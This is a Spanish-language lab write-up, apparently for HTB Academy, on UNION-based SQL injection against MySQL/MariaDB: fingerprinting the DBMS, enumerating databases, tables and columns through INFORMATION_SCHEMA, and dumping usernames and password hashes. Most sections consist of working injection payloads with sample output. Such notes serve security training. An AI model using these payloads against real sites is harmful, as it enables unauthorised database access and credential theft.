SQLi – Fingerprinting, INFORMATION_SCHEMA y Enumeración Completa
Esta nota resume cómo identificar el DBMS, usar INFORMATION_SCHEMA y enumerar bases de datos, tablas y columnas mediante SQLi UNION. Perfecta para laboratorios como HTB Academy.
🕵️♂️ Huella digital del DBMS (MySQL)
Antes de enumerar, debemos identificar el tipo de gestor de base de datos.
Si el servidor web usa Apache o Nginx → normalmente Linux → posible MySQL/MariaDB.
Si usa IIS → probable MSSQL.
Confirmar el DBMS permite saber qué funciones y sintaxis usar en SQLi.
🔍 Consultas para identificar MySQL
| Carga útil | Cuándo usar | Salida esperada | Salida incorrecta |
|---|---|---|---|
| SELECT @@version | Cuando ves la salida completa | Versión MySQL/MariaDB | Versión MSSQL o error |
| SELECT POW(1,1) | Cuando solo devuelve números | 1 | Error |
| SELECT SLEEP(5) | Ciega / sin salida | La página tarda 5s | No hay retardo |
Ejemplo de prueba en el laboratorio:
cn' UNION SELECT 1,@@version,3,4-- -
Devuelve algo como:
10.3.22-MariaDB-1ubuntu1
→ Confirmamos MariaDB/MySQL.
🗂️ Base de datos INFORMATION_SCHEMA
INFORMATION_SCHEMA contiene los metadatos de todas las bases de datos, tablas y columnas. Es clave para SQLi.
Para enumerar una tabla externa, se usa el operador punto:
SELECT * FROM my_database.users;
🗃️ Enumeración de Bases de Datos (SCHEMATA)
Lista las bases de datos disponibles:
cn' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA-- -

Salida:
-
mysql
-
information_schema
-
performance_schema
-
ilfreight
-
dev
Las primeras tres son siempre estándar. Normalmente no interesan en SQLi.
📌 Determinar la base de datos actual
cn' UNION SELECT 1,database(),2,3-- -
Salida de ejemplo:
ilfreight
📦 Enumeración de Tablas (TABLES)
Para listar tablas dentro de la base de datos dev:
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='dev'-- -

Salida típica:
-
credentials
-
framework
-
pages
-
posts
🔑 Enumeración de Columnas (COLUMNS)
Para ver las columnas de la tabla credentials:
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='credentials'-- -
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users'-- -

Columnas encontradas:
-
username
-
password
📤 Volcado de datos (UNION SELECT)
Con la información previa, volcamos datos de dev.credentials:
cn' UNION SELECT 1,username,password,4 FROM dev.credentials-- -

No olvides usar dev.credentials porque la DB actual es ilfreight.
🎯 Pregunta del laboratorio
¿Cuál es el hash de contraseña para 'newuser' en ilfreight.users?
Como hemos visto base de datos de ilfreight veamos sus tablas
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='ilfreight'-- -

Existen las tablas
productsusersyports
Enumeracion de columnas
cn' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users'-- -

Destaca
usernmaeypassword
Ver los datos de usernmae y password
cn' UNION SELECT 1,username,password,4 FROM ilfreight.users-- -
Tenemos los hashes
